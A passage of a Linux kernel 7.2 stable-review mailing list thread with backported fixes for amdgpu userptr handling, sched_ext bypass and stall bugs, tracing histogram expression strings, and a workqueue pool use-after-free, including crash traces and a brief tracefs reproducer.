From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Tvrtko Ursulin, Christian König,
Alex Deucher, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Tvrtko Ursulin <tvrtko.ursulin@igalia.com>
[ Upstream commit a300c90f00905632ad9f89ad719537941a88600c ]
The bo list is immutable during command submission since the drm_exec
conversion so we can remove the mutex.
Signed-off-by: Tvrtko Ursulin <tvrtko.ursulin@igalia.com>
Reviewed-by: Christian König <christian.koenig@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Stable-dep-of: 1b4da805a0ba ("drm/amdgpu: free the userptr ranges when a CS fails after parser_bos")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/amdgpu_bo_list.c | 3 +--
drivers/gpu/drm/amd/amdgpu/amdgpu_bo_list.h | 4 ----
drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 15 ++++-----------
3 files changed, 5 insertions(+), 17 deletions(-)
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_bo_list.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_bo_list.c
@@ -42,7 +42,7 @@ static void amdgpu_bo_list_free_rcu(stru
{
struct amdgpu_bo_list *list = container_of(rcu, struct amdgpu_bo_list,
rhead);
- mutex_destroy(&list->bo_list_mutex);
+
kvfree(list);
}
@@ -134,7 +134,6 @@ int amdgpu_bo_list_create(struct amdgpu_
trace_amdgpu_cs_bo_status(list->num_entries, total_size);
- mutex_init(&list->bo_list_mutex);
*result = list;
return 0;
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_bo_list.h
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_bo_list.h
@@ -51,10 +51,6 @@ struct amdgpu_bo_list {
unsigned first_userptr;
unsigned num_entries;
- /* Protect access during command submission.
- */
- struct mutex bo_list_mutex;
-
struct amdgpu_bo_list_entry entries[] __counted_by(num_entries);
};
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c
@@ -898,8 +898,6 @@ static int amdgpu_cs_parser_bos(struct a
return r;
}
- mutex_lock(&p->bo_list->bo_list_mutex);
-
/* Get userptr backing pages. If pages are updated after registered
* in amdgpu_gem_userptr_ioctl(), amdgpu_cs_list_validate() will do
* amdgpu_ttm_backend_bind() to flush and invalidate new pages
@@ -1016,7 +1014,6 @@ out_free_user_pages:
amdgpu_hmm_range_free(e->range);
e->range = NULL;
}
- mutex_unlock(&p->bo_list->bo_list_mutex);
return r;
}
@@ -1385,7 +1382,6 @@ static int amdgpu_cs_submit(struct amdgp
amdgpu_vm_move_to_lru_tail(p->adev, &fpriv->vm);
mutex_unlock(&p->adev->notifier_lock);
- mutex_unlock(&p->bo_list->bo_list_mutex);
return 0;
}
@@ -1472,28 +1468,25 @@ int amdgpu_cs_ioctl(struct drm_device *d
r = amdgpu_cs_patch_jobs(&parser);
if (r)
- goto error_backoff;
+ goto error_fini;
r = amdgpu_cs_vm_handling(&parser);
if (r)
- goto error_backoff;
+ goto error_fini;
r = amdgpu_cs_sync_rings(&parser);
if (r)
- goto error_backoff;
+ goto error_fini;
trace_amdgpu_cs_ibs(&parser);
r = amdgpu_cs_submit(&parser, data);
if (r)
- goto error_backoff;
+ goto error_fini;
amdgpu_cs_parser_fini(&parser);
return 0;
-error_backoff:
- mutex_unlock(&parser.bo_list->bo_list_mutex);
-
error_fini:
amdgpu_cs_parser_fini(&parser);
return r;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 230/242] drm/amdgpu: free the userptr ranges when a CS fails after parser_bos
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (226 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 229/242] drm/amdgpu: Remove the bo list mutex Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 231/242] sched_ext: Fix stall when a task enqueued with SCX_ENQ_LAST lands back on its CPUs local DSQ Greg Kroah-Hartman
` (13 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Alex Deucher, Jesse Zhang,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jesse Zhang <Jesse.Zhang@amd.com>
[ Upstream commit 1b4da805a0ba354a549ce07459c871c17dd94fe0 ]
amdgpu_cs_parser_bos() allocates an HMM range for every userptr entry of
the BO list and looks up the user pages. Those ranges are only freed when
amdgpu_cs_parser_bos() itself fails or when amdgpu_cs_submit() checks
them under the notifier lock. If amdgpu_cs_patch_jobs(),
amdgpu_cs_vm_handling(), amdgpu_cs_sync_rings() or the early part of
amdgpu_cs_submit() fails, nothing frees them: neither
amdgpu_cs_parser_fini() nor amdgpu_bo_list_free() touch e->range.
Each such CS then leaks the range, its hmm_pfns array (8 bytes per page
of the userptr BO) and the BO reference the range holds. An IB on a ring
that patches the CS in place (e.g. VCN) with an unmapped va_start fails
in amdgpu_cs_patch_ibs() and takes this path.
Free the ranges on those error paths. Ranges amdgpu_cs_submit() already
dropped are NULL, so freeing them again is a no-op.
Fixes: fec8fdb54e8f ("drm/amdgpu: fix userptr HMM range handling v2")
Reviewed-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Jesse Zhang <Jesse.Zhang@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
(cherry picked from commit c52a9542ed7cfd527feb938bd0accada2ac8d267)
Cc: stable@vger.kernel.org
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 15 +++++++++++----
1 file changed, 11 insertions(+), 4 deletions(-)
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c
@@ -1434,6 +1434,7 @@ static void amdgpu_cs_parser_fini(struct
int amdgpu_cs_ioctl(struct drm_device *dev, void *data, struct drm_file *filp)
{
struct amdgpu_device *adev = drm_to_adev(dev);
+ struct amdgpu_bo_list_entry *e;
struct amdgpu_cs_parser parser;
int r;
@@ -1468,25 +1469,31 @@ int amdgpu_cs_ioctl(struct drm_device *d
r = amdgpu_cs_patch_jobs(&parser);
if (r)
- goto error_fini;
+ goto error_free_user_pages;
r = amdgpu_cs_vm_handling(&parser);
if (r)
- goto error_fini;
+ goto error_free_user_pages;
r = amdgpu_cs_sync_rings(&parser);
if (r)
- goto error_fini;
+ goto error_free_user_pages;
trace_amdgpu_cs_ibs(&parser);
r = amdgpu_cs_submit(&parser, data);
if (r)
- goto error_fini;
+ goto error_free_user_pages;
amdgpu_cs_parser_fini(&parser);
return 0;
+error_free_user_pages:
+ /* amdgpu_cs_submit() only drops the ranges once it got that far. */
+ amdgpu_bo_list_for_each_userptr_entry(e, parser.bo_list) {
+ amdgpu_hmm_range_free(e->range);
+ e->range = NULL;
+ }
error_fini:
amdgpu_cs_parser_fini(&parser);
return r;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 231/242] sched_ext: Fix stall when a task enqueued with SCX_ENQ_LAST lands back on its CPUs local DSQ
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (227 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 230/242] drm/amdgpu: free the userptr ranges when a CS fails after parser_bos Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 232/242] tracing: Use __free() for expr_str() buffer Greg Kroah-Hartman
` (12 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Xiangyu Bu, Tejun Heo,
Dan Schatzberg, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Tejun Heo <tj@kernel.org>
[ Upstream commit 7a9df76679633cf26e0fea882a684012c6ec245a ]
With SCX_OPS_ENQ_LAST, the last runnable task on a CPU is passed to
ops.enqueue() instead of being kept running. Exiting tasks without
SCX_OPS_ENQ_EXITING, migration disabled tasks without
SCX_OPS_ENQ_MIGRATION_DISABLED and tasks on an offline rq skip ops.enqueue()
and go straight to the local DSQ. This happens in put_prev_task_scx() after
the pick has settled on idle, so nothing reschedules the CPU, which idles
with the task queued until an unrelated wakeup lands on it or the watchdog
fires.
scx_mitosis, which sets SCX_OPS_ENQ_LAST without SCX_OPS_ENQ_EXITING, hit
this during mass cgroup teardown: exiting tasks stuck in exit_mmap() for
over 40 seconds.
A task put on the local DSQ runs, as anywhere else. If the SCX_ENQ_LAST
enqueue left the task on this CPU's local DSQ, set need_resched on the task
being switched in, as proxy_resched_idle() does. resched_curr() would flag
the task being put instead, and __schedule() clears that right after the
pick.
Fixes: f0e1a0643a59 ("sched_ext: Implement BPF extensible scheduler class")
Cc: stable@vger.kernel.org # v6.12+
Reported-by: Xiangyu Bu <xbu@meta.com>
Link: https://github.com/sched-ext/scx/pull/3870
Signed-off-by: Tejun Heo <tj@kernel.org>
Cc: Dan Schatzberg <schatzberg.dan@gmail.com>
[ sashal: Adjusted context to use do_enqueue_task() without the upstream CPU-capability condition. ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/sched/ext/ext.c | 13 +++++++++++--
kernel/sched/ext/internal.h | 5 +++--
2 files changed, 14 insertions(+), 4 deletions(-)
--- a/kernel/sched/ext/ext.c
+++ b/kernel/sched/ext/ext.c
@@ -3169,8 +3169,7 @@ static void put_prev_task_scx(struct rq
/*
* If @p is runnable but we're about to enter a lower
* sched_class, %SCX_OPS_ENQ_LAST must be set. Tell
- * ops.enqueue() that @p is the only one available for this cpu,
- * which should trigger an explicit follow-up scheduling event.
+ * ops.enqueue() that @p is the only one available for this cpu.
*
* Under core scheduling, a pick dispatches only when nothing is
* locally runnable and can legitimately go idle with @p still
@@ -3180,6 +3179,16 @@ static void put_prev_task_scx(struct rq
WARN_ON_ONCE(!sched_core_enabled(rq) &&
!(sch->ops.flags & SCX_OPS_ENQ_LAST));
do_enqueue_task(rq, p, SCX_ENQ_LAST, -1);
+
+ /*
+ * A task put on the local DSQ runs, as anywhere else.
+ * Here the insert can't reschedule on its own: the pick
+ * has settled on @next and @p is still curr, so
+ * resched_curr() would flag @p and __schedule() clears
+ * that right after the pick. Flag @next instead.
+ */
+ if (p->scx.dsq == &rq->scx.local_dsq)
+ set_tsk_need_resched(next);
} else {
do_enqueue_task(rq, p, 0, -1);
}
--- a/kernel/sched/ext/internal.h
+++ b/kernel/sched/ext/internal.h
@@ -1291,8 +1291,9 @@ enum scx_enq_flags {
* %SCX_OPS_ENQ_LAST is specified, they're ops.enqueue()'d with the
* %SCX_ENQ_LAST flag set.
*
- * The BPF scheduler is responsible for triggering a follow-up
- * scheduling event. Otherwise, Execution may stall.
+ * If the task is queued on the local DSQ of the CPU it was running on,
+ * it continues to run. Otherwise, the CPU goes idle. A scheduler that
+ * wants a full dispatch cycle on the CPU should kick it.
*/
SCX_ENQ_LAST = 1LLU << 41,
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 232/242] tracing: Use __free() for expr_str() buffer
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (228 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 231/242] sched_ext: Fix stall when a task enqueued with SCX_ENQ_LAST lands back on its CPUs local DSQ Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 233/242] tracing: Bound histogram expression strings with seq_buf Greg Kroah-Hartman
` (11 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Pengpeng Hou, Steven Rostedt,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Pengpeng Hou <pengpeng@iscas.ac.cn>
[ Upstream commit 988995c0552b6213b6bf16cea57258d4842c1488 ]
expr_str() allocates a temporary expression buffer and manually frees it
on some error paths.
Convert the buffer to __free(kfree) and return it with return_ptr() on
success. This keeps ownership handling separate from the later ERR_PTR()
conversion and string-bound change.
Link: https://patch.msgid.link/20260611055945.22348-2-pengpeng@iscas.ac.cn
Signed-off-by: Pengpeng Hou <pengpeng@iscas.ac.cn>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Stable-dep-of: a0777b9e5315 ("tracing: Fix NULL dereference when copying keys for a field variable")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_hist.c | 14 ++++++--------
1 file changed, 6 insertions(+), 8 deletions(-)
--- a/kernel/trace/trace_events_hist.c
+++ b/kernel/trace/trace_events_hist.c
@@ -1758,7 +1758,7 @@ static void expr_field_str(struct hist_f
static char *expr_str(struct hist_field *field, unsigned int level)
{
- char *expr;
+ char *expr __free(kfree) = NULL;
if (level > 1)
return NULL;
@@ -1769,7 +1769,7 @@ static char *expr_str(struct hist_field
if (!field->operands[0]) {
expr_field_str(field, expr);
- return expr;
+ return_ptr(expr);
}
if (field->operator == FIELD_OP_UNARY_MINUS) {
@@ -1777,16 +1777,15 @@ static char *expr_str(struct hist_field
strcat(expr, "-(");
subexpr = expr_str(field->operands[0], ++level);
- if (!subexpr) {
- kfree(expr);
+ if (!subexpr)
return NULL;
- }
+
strcat(expr, subexpr);
strcat(expr, ")");
kfree(subexpr);
- return expr;
+ return_ptr(expr);
}
expr_field_str(field->operands[0], expr);
@@ -1805,13 +1804,12 @@ static char *expr_str(struct hist_field
strcat(expr, "*");
break;
default:
- kfree(expr);
return NULL;
}
expr_field_str(field->operands[1], expr);
- return expr;
+ return_ptr(expr);
}
/*
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 233/242] tracing: Bound histogram expression strings with seq_buf
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (229 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 232/242] tracing: Use __free() for expr_str() buffer Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 234/242] tracing: Fix NULL dereference when copying keys for a field variable Greg Kroah-Hartman
` (10 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Pengpeng Hou, Steven Rostedt,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Pengpeng Hou <pengpeng@iscas.ac.cn>
[ Upstream commit 935601a4276f28105498609f7f98aa66e86e9c96 ]
expr_str() allocates a fixed MAX_FILTER_STR_VAL buffer and then builds
expression names with a series of raw strcat() appends. Nested operands,
constants, field flags, and generated field names can push the rendered
string past that fixed limit before the name is attached to the hist
field.
Build expression strings with seq_buf and return -E2BIG when the
rendered name would exceed MAX_FILTER_STR_VAL. This keeps the existing
tracing-side limit while replacing the raw append logic with bounded
construction.
Link: https://patch.msgid.link/20260611055945.22348-4-pengpeng@iscas.ac.cn
Signed-off-by: Pengpeng Hou <pengpeng@iscas.ac.cn>
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Stable-dep-of: a0777b9e5315 ("tracing: Fix NULL dereference when copying keys for a field variable")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_hist.c | 57 ++++++++++++++++++++++-----------------
1 file changed, 33 insertions(+), 24 deletions(-)
--- a/kernel/trace/trace_events_hist.c
+++ b/kernel/trace/trace_events_hist.c
@@ -94,7 +94,6 @@ typedef u64 (*hist_field_fn_t) (struct h
#define HIST_FIELD_OPERANDS_MAX 2
#define HIST_FIELDS_MAX (TRACING_MAP_FIELDS_MAX + TRACING_MAP_VARS_MAX)
#define HIST_ACTIONS_MAX 8
-#define HIST_CONST_DIGITS_MAX 21
#define HIST_DIV_SHIFT 20 /* For optimizing division by constants */
enum field_op_id {
@@ -1732,33 +1731,36 @@ static const char *get_hist_field_flags(
return flags_str;
}
-static void expr_field_str(struct hist_field *field, char *expr)
+static bool expr_field_str(struct hist_field *field, struct seq_buf *s)
{
+ const char *field_name;
+
if (field->flags & HIST_FIELD_FL_VAR_REF) {
if (!field->system)
- strcat(expr, "$");
- } else if (field->flags & HIST_FIELD_FL_CONST) {
- char str[HIST_CONST_DIGITS_MAX];
+ seq_buf_putc(s, '$');
+ } else if (field->flags & HIST_FIELD_FL_CONST)
+ seq_buf_printf(s, "%llu", field->constant);
- snprintf(str, HIST_CONST_DIGITS_MAX, "%llu", field->constant);
- strcat(expr, str);
- }
+ field_name = hist_field_name(field, 0);
+ if (!field_name)
+ return false;
- strcat(expr, hist_field_name(field, 0));
+ seq_buf_puts(s, field_name);
if (field->flags && !(field->flags & HIST_FIELD_FL_VAR_REF)) {
const char *flags_str = get_hist_field_flags(field);
- if (flags_str) {
- strcat(expr, ".");
- strcat(expr, flags_str);
- }
+ if (flags_str)
+ seq_buf_printf(s, ".%s", flags_str);
}
+
+ return !seq_buf_has_overflowed(s);
}
static char *expr_str(struct hist_field *field, unsigned int level)
{
char *expr __free(kfree) = NULL;
+ struct seq_buf s;
if (level > 1)
return NULL;
@@ -1767,47 +1769,54 @@ static char *expr_str(struct hist_field
if (!expr)
return NULL;
+ seq_buf_init(&s, expr, MAX_FILTER_STR_VAL);
+
if (!field->operands[0]) {
- expr_field_str(field, expr);
+ if (!expr_field_str(field, &s))
+ return ERR_PTR(-E2BIG);
+
return_ptr(expr);
}
if (field->operator == FIELD_OP_UNARY_MINUS) {
char *subexpr;
- strcat(expr, "-(");
subexpr = expr_str(field->operands[0], ++level);
if (!subexpr)
return NULL;
- strcat(expr, subexpr);
- strcat(expr, ")");
-
+ seq_buf_printf(&s, "-(%s)", subexpr);
kfree(subexpr);
+ if (seq_buf_has_overflowed(&s))
+ return ERR_PTR(-E2BIG);
+
return_ptr(expr);
}
- expr_field_str(field->operands[0], expr);
+ if (!expr_field_str(field->operands[0], &s))
+ return ERR_PTR(-E2BIG);
switch (field->operator) {
case FIELD_OP_MINUS:
- strcat(expr, "-");
+ seq_buf_putc(&s, '-');
break;
case FIELD_OP_PLUS:
- strcat(expr, "+");
+ seq_buf_putc(&s, '+');
break;
case FIELD_OP_DIV:
- strcat(expr, "/");
+ seq_buf_putc(&s, '/');
break;
case FIELD_OP_MULT:
- strcat(expr, "*");
+ seq_buf_putc(&s, '*');
break;
default:
return NULL;
}
- expr_field_str(field->operands[1], expr);
+ if (seq_buf_has_overflowed(&s) ||
+ !expr_field_str(field->operands[1], &s))
+ return ERR_PTR(-E2BIG);
return_ptr(expr);
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 234/242] tracing: Fix NULL dereference when copying keys for a field variable
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (230 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 233/242] tracing: Bound histogram expression strings with seq_buf Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 235/242] sched_ext: Fix the bypass dispatch claim for schedulers bypassed by an ancestor Greg Kroah-Hartman
` (9 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Donggeun Yoo, Steven Rostedt,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
[ Upstream commit a0777b9e53157f1f6848a0fd0650f5465391ea81 ]
In event_hist_trigger_parse() where it needs to create actions like
"onmatch", it calls:
event_hist_trigger_parse() {
create_actions() {
action_create() {
trace_action_create() {
trace_action_create_field_var() {
create_field_var_hist()
Where create_field_var_hist() does a loop on the hist_data
representing the keys. The issue is, if the keys uses one of the
pseudo field types (like common_cpu), the hist_data field element
will have NULL for its field member causing a NULL pointer
dereference when accessing the key_field->field->name.
# echo 'hist:keys=common_cpu:ts0=common_timestamp.usecs' > \
events/sched/sched_waking/trigger
# echo 'my_synth u64 lat; int prio' > synthetic_events
# echo 'hist:keys=common_cpu:wakeup_lat=common_timestamp.usecs-$ts0:\
onmatch(sched.sched_waking).my_synth($wakeup_lat,prio)' > \
events/sched/sched_switch/trigger
KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]
RIP: 0010:create_field_var_hist+0x771/0x1380
Call Trace:
trace_action_create_field_var+0x360/0x600
trace_action_create+0x393/0xe80
event_hist_trigger_parse+0x3e47/0x69e0
trigger_process_regex+0x1a6/0x250
event_trigger_write+0xce/0x160
Instead of accessing it directly, use the proper handler
expr_field_str() to get the name.
The three previous patches are prerequisites: without them a .buckets
key and a common_stacktrace key each render into a command that cannot
be parsed back.
Cc: stable@vger.kernel.org
Link: https://patch.msgid.link/20260914053443.981201-5-donggeunyoo.kernel@gmail.com
Fixes: 02205a6752f2 ("tracing: Add support for 'field variables'")
Signed-off-by: Donggeun Yoo <donggeunyoo.kernel@gmail.com>
Assisted-by: Claude:claude-fable-5
Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/trace/trace_events_hist.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/kernel/trace/trace_events_hist.c
+++ b/kernel/trace/trace_events_hist.c
@@ -3078,7 +3078,7 @@ create_field_var_hist(struct hist_trigge
key_field = hist_data->fields[i];
if (!first)
seq_buf_putc(&s, ',');
- seq_buf_puts(&s, key_field->field->name);
+ expr_field_str(key_field, &s);
first = false;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 235/242] sched_ext: Fix the bypass dispatch claim for schedulers bypassed by an ancestor
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (231 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 234/242] tracing: Fix NULL dereference when copying keys for a field variable Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 236/242] workqueue: Fix unbound pool lifetime for pending pwqs Greg Kroah-Hartman
` (8 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Tejun Heo, Andrea Righi, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Tejun Heo <tj@kernel.org>
[ Upstream commit 5bdeca322a6f8d10acaf67cccab1f69747ee7be3 ]
scx_bypass() claims bypass dispatch when the scheduler's depth goes from
zero to one and releases it when the depth returns to zero, but propagates
only the depth to the descendants, not the claim. A descendant that starts
bypassing with its ancestor never claims, and one whose own bypass ends
under the ancestor's keeps its claim, as its depth does not return to zero.
A sub-scheduler enable whose bypass ends under a PM suspend thus leaks its
claim: the parent keeps hosting bypass dispatch and the sub-scheduler's next
bypass trips the WARN_ON_ONCE() on the claim. A sub-scheduler disable that
starts under a PM suspend has no claim, so once the resume lifts the root's
bypass its tasks sit on the parent's bypass DSQs with nobody consuming them.
Claim for every descendant whose depth goes from zero to one in the
propagation and release every scheduler in the subtree whose depth returned
to zero once the tasks have moved out of the bypass DSQs. A parent that is
bypassing itself when a descendant claims consumes only its own bypass DSQs,
empty until it leaves bypass and becomes the host.
Fixes: aa2a0a19686c ("sched_ext: Separate bypass dispatch enabling from bypass depth tracking")
Cc: stable@vger.kernel.org # v7.1+
Signed-off-by: Tejun Heo <tj@kernel.org>
Reviewed-by: Andrea Righi <arighi@nvidia.com>
[ sashal: Changed scx_disable_bypass_dsp() calls to disable_bypass_dsp(). ]
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/sched/ext/ext.c | 34 +++++++++++++++++++---------------
1 file changed, 19 insertions(+), 15 deletions(-)
--- a/kernel/sched/ext/ext.c
+++ b/kernel/sched/ext/ext.c
@@ -5717,15 +5717,12 @@ static void enable_bypass_dsp(struct scx
/*
* When a sub-sched bypasses, its tasks are queued on the bypass DSQs of
- * the nearest non-bypassing ancestor or root. As enable_bypass_dsp() is
- * called iff @sch is not already bypassed due to an ancestor bypassing,
- * we can assume that the parent is not bypassing and thus will be the
- * host of the bypass DSQs.
- *
- * While the situation may change in the future, the following
- * guarantees that the nearest non-bypassing ancestor or root has bypass
- * dispatch enabled while a descendant is bypassing, which is all that's
- * required.
+ * the nearest non-bypassing ancestor or root. The parent hosts them
+ * unless it is bypassing too. Then they sit further up and the parent
+ * consumes only its own bypass DSQs, empty until it leaves bypass and
+ * becomes the host. Either way the nearest non-bypassing ancestor or
+ * root has bypass dispatch enabled while a descendant is bypassing,
+ * which is all that's required.
*
* bypass_dsp_enabled() test is used to determine whether to enter the
* bypass dispatch handling path from both bypassing and hosting scheds.
@@ -5818,16 +5815,19 @@ static void scx_bypass(struct scx_sched
* Bypass state is propagated to all descendants - an scx_sched bypasses
* if itself or any of its ancestors are in bypass mode. A descendant's
* depth is the sum of its own bypasses and its ancestors', so every
- * call propagates whether or not @sch changed state.
+ * call propagates whether or not @sch changed state. The descendants'
+ * claims are released below with @sch's, after their tasks have moved.
*/
raw_spin_lock(&scx_sched_lock);
scx_for_each_descendant_pre(pos, sch) {
if (pos == sch)
continue;
- if (bypass)
- inc_bypass_depth(pos);
- else
+ if (bypass) {
+ if (inc_bypass_depth(pos))
+ enable_bypass_dsp(pos);
+ } else {
dec_bypass_depth(pos);
+ }
}
raw_spin_unlock(&scx_sched_lock);
@@ -5903,8 +5903,12 @@ static void scx_bypass(struct scx_sched
}
/* disarming must come after moving all tasks out of the bypass DSQs */
- if (!bypass)
- disable_bypass_dsp(sch);
+ if (!bypass) {
+ guard(raw_spinlock)(&scx_sched_lock);
+ scx_for_each_descendant_pre(pos, sch)
+ if (!pos->bypass_depth)
+ disable_bypass_dsp(pos);
+ }
unlock:
raw_spin_unlock_irqrestore(&scx_bypass_lock, flags);
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 236/242] workqueue: Fix unbound pool lifetime for pending pwqs
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (232 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 235/242] sched_ext: Fix the bypass dispatch claim for schedulers bypassed by an ancestor Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 237/242] ntfs: use pagecache_isize_extended() on size extension Greg Kroah-Hartman
` (7 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Yao Kai, Tejun Heo, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yao Kai <yaokai34@huawei.com>
[ Upstream commit cf9c8aaea0d47410df8708bec195889f3a85cd3c ]
KASAN reports a use-after-free of an unbound worker_pool in
node_activate_pending_pwq():
BUG: KASAN: slab-use-after-free in _raw_spin_trylock+0x6d/0x120
Read of size 4 at addr ffff8880089ce000 by task kworker/u22:0/318
CPU: 1 UID: 0 PID: 318 Comm: kworker/u22:0 Not tainted 7.2.0 #1 PREEMPT(lazy)
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
Workqueue: 0x0 (flush-8:0)
Call Trace:
<TASK>
dump_stack_lvl+0x53/0x70
print_report+0xce/0x610
kasan_report+0xce/0x100
_raw_spin_trylock+0x6d/0x120
pwq_dec_nr_in_flight+0x4b4/0xcb0
process_one_work+0x921/0x11a0
worker_thread+0x4d0/0xd20
kthread+0x2de/0x3c0
ret_from_fork+0x3aa/0x620
ret_from_fork_asm+0x1a/0x30
</TASK>
Allocated by task 311:
alloc_pwq+0x439/0xca0
apply_wqattrs_prepare+0x75e/0xd10
apply_workqueue_attrs_locked+0x44/0xa0
wq_nice_store+0x350/0x450
Freed by task 0:
kfree+0x127/0x3b0
rcu_core+0x523/0x1780
handle_softirqs+0x1b3/0x610
Last potentially related work creation:
put_unbound_pool+0x3f3/0x7d0
pwq_release_workfn+0x494/0x8e0
kthread_worker_fn+0x1ff/0x790
Canceling the last inactive work skips pwq_dec_nr_active(), so an empty
pwq can remain on pending_pwqs when its refcnt reaches zero.
pwq_release_workfn() currently puts the pool before removing that pwq.
If this drops the last pool reference, the pool can be RCU-freed while
the pwq remains reachable, and node_activate_pending_pwq() may trylock
the freed pool->lock.
